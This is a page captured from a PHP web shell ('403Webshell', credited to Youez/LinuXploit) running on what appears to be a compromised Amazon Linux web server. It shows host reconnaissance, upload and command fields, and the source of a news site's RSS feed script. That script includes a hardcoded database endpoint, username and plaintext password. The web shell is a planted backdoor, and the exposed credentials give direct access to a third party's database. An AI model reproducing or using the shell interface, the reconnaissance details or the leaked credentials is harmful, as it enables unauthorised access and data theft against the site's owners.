403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/banners/public_html/bway/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/banners/public_html/bway/feed_all_bwaytumblr.php
<?php
// Replaces: feed_all_bwaytumblr.cfm
// RSS feed with tv/music/default filtering via URL params - 20 items
require_once __DIR__ . '/db/mysql_bootstrap.php';

/**
 * Clean special characters from text for XML safety.
 * Replaces smart quotes, em dashes, and other problematic characters,
 * then applies htmlspecialchars for proper XML encoding.
 */
function cleanXmlText($text) {
    $text = str_replace(
        ["\x91", "\x92", "\x93", "\x94", "\x96", "\xE2\x80\x98", "\xE2\x80\x99", "\xE2\x80\x9C", "\xE2\x80\x9D", "\xE2\x80\x93", "\xE2\x80\x94", "&nbsp;"],
        ["'",    "'",    "'",    "'",    "-",    "'",              "'",              '"',              '"',              "-",              "--",             ""],
        $text
    );
    return htmlspecialchars($text, ENT_XML1, 'UTF-8');
}

header('Content-Type: text/xml; charset=utf-8');

$dsn = 'mysql:host=amazonaurora.cluster-ro-cemzxojvmybt.us-east-1.rds.amazonaws.com;dbname=amazonrds;charset=utf8mb4';
$dbUser = 'admin';
$dbPass = 'xxatN6Lb8Kbwb9MiU1At';

try {
    $pdo = new PDO($dsn, $dbUser, $dbPass, mysqlPdoOptions([
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
    ]));
} catch (PDOException $e) {
    exit('Database connection failed.');
}

// Determine filter based on URL parameters
$hasTv = isset($_GET['tv']);
$hasMusic = isset($_GET['music']);

$sql = "SELECT columntable.id, columntable.seo_friendly, columntable.blurb,
        columntableimages.minititle, columntable.title, columntable.short_title,
        columntableimages.mainswap680, columntable.mainswap370,
        columntable.mainswapbig, dateposted, authorname
    FROM bway_bww.columntable
    INNER JOIN bway_bww.columntableimages ON columntable.id = columntableimages.ID
    WHERE columntableimages.mainswap680 <> ''
    AND columntable.status = 1
    AND columntable.id > 2281154
    AND columntableimages.id > 2281154";

if ($hasTv) {
    $sql .= " AND columntableimages.tvtop = 1";
} elseif ($hasMusic) {
    $sql .= " AND columntableimages.musictop = 1";
} else {
    $sql .= " AND columntable.showinfolink2 = 1";
}

$sql .= " ORDER BY columntable.dateposted DESC LIMIT 0, 20";

$stmt = $pdo->prepare($sql);
$stmt->execute();
$rows = $stmt->fetchAll();

// Determine link prefix based on filter
$linkPrefix = 'https://www.broadwayworld.com/';
if ($hasTv) {
    $linkPrefix .= 'bwwtv/';
} elseif ($hasMusic) {
    $linkPrefix .= 'bwwmusic/';
}

echo '<?xml version="1.0" encoding="UTF-8"?>' . "\n";
?>
<rss version="2.0">
<channel>
    <title>BroadwayWorld.com Featured Content</title>
    <link></link>
    <description>Latest BroadwayWorld.com News, Reviews, and More...</description>
    <language>en-us</language>
    <copyright>Copyright 2015 BroadwayWorld.com</copyright>
    <ttl>10</ttl>
    <image>
    <title>BroadwayWorld.com Featured Content</title>
    <url>https://nav.bwwstatic.com/2014/images/newbroadwayworld-logo-trans6-265-compressed.png</url>
    <link></link>
    </image>
<?php if (!empty($rows)): ?>
<?php foreach ($rows as $row):
    $datePosted = new DateTime($row['dateposted']);
    $pubDate = $datePosted->format('D, d M Y H:i:s') . ' EST';
    $title = cleanXmlText($row['title']);
    $description = cleanXmlText($row['blurb']);
    $seoFriendly = htmlspecialchars($row['seo_friendly'], ENT_XML1, 'UTF-8');
    $mainswap680 = htmlspecialchars($row['mainswap680'], ENT_XML1, 'UTF-8');
    $articleLink = $linkPrefix . 'article/' . $seoFriendly;
?>
    <item>
	<title><?php echo $title; ?></title>
<description><?php echo $description; ?></description>
<link><?php echo $articleLink; ?></link>
<image><?php echo $mainswap680; ?></image>
<guid isPermaLink="true"><?php echo $articleLink; ?></guid>
    	<pubDate><?php echo $pubDate; ?></pubDate>
    </item>
<?php endforeach; ?>
<?php endif; ?>
</channel>
</rss>

Youez - 2016 - github.com/yon3zu
LinuXploit